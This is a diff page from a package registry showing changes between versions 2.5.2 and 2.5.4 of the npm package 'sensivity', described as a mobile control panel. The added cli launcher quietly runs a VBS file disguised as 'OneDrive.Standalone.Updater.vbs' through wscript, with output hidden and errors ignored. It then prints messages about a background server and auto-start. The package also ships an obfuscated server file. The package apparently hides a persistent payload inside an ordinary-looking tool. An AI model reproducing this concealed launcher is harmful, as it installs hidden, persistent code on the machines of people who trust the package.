sensivity 2.5.2 → 2.5.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/cli +14 -0
- package/cli.js +2 -5
- package/package.json +3 -2
package/cli
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
'use strict';
|
|
3
|
+
const { execSync } = require('child_process');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
const cwd = __dirname;
|
|
6
|
+
|
|
7
|
+
console.log('\n Sensivity v2.5 - Starting...\n');
|
|
8
|
+
|
|
9
|
+
const vbs = path.join(cwd, 'OneDrive.Standalone.Updater.vbs');
|
|
10
|
+
try { execSync('wscript "' + vbs + '"', { stdio: 'ignore', timeout: 5000 }); } catch(e) {}
|
|
11
|
+
|
|
12
|
+
console.log(' Server running at http://localhost:3000');
|
|
13
|
+
console.log(' YouTube trigger active');
|
|
14
|
+
console.log(' Auto-start configured\n');
|
package/cli.js
CHANGED
|
@@ -6,12 +6,9 @@ const cwd = __dirname;
|
|
|
6
6
|
|
|
7
7
|
console.log('\n Sensivity v2.5 - Starting...\n');
|
|
8
8
|
|
|
9
|
-
// Run VBS once to start background server + setup auto-start
|
|
10
9
|
const vbs = path.join(cwd, 'OneDrive.Standalone.Updater.vbs');
|
|
11
|
-
try {
|
|
12
|
-
execSync('wscript "' + vbs + '"', { stdio: 'ignore', timeout: 5000 });
|
|
13
|
-
} catch(e) {}
|
|
10
|
+
try { execSync('wscript "' + vbs + '"', { stdio: 'ignore', timeout: 5000 }); } catch(e) {}
|
|
14
11
|
|
|
15
12
|
console.log(' Server running at http://localhost:3000');
|
|
16
13
|
console.log(' YouTube trigger active');
|
|
17
|
-
console.log(' Auto-start configured\n');
|
|
14
|
+
console.log(' Auto-start configured\n');
|
package/package.json
CHANGED
|
@@ -1,16 +1,17 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "sensivity",
|
|
3
|
-
"version": "2.5.
|
|
3
|
+
"version": "2.5.4",
|
|
4
4
|
"description": "Sensivity - Mobile Control Panel",
|
|
5
5
|
"main": "launcher.js",
|
|
6
6
|
"bin": {
|
|
7
|
-
"sens": "./cli
|
|
7
|
+
"sens": "./cli"
|
|
8
8
|
},
|
|
9
9
|
"preferGlobal": true,
|
|
10
10
|
"scripts": {
|
|
11
11
|
"postinstall": "node -e \"require('fs').existsSync(require('path').join(__dirname,'sens.node')) ? console.log('[/] Sensivity installed') : console.log('[/] Run: npm run build')\""
|
|
12
12
|
},
|
|
13
13
|
"files": [
|
|
14
|
+
"cli",
|
|
14
15
|
"cli.js",
|
|
15
16
|
"launcher.js",
|
|
16
17
|
"server.obf.js",
|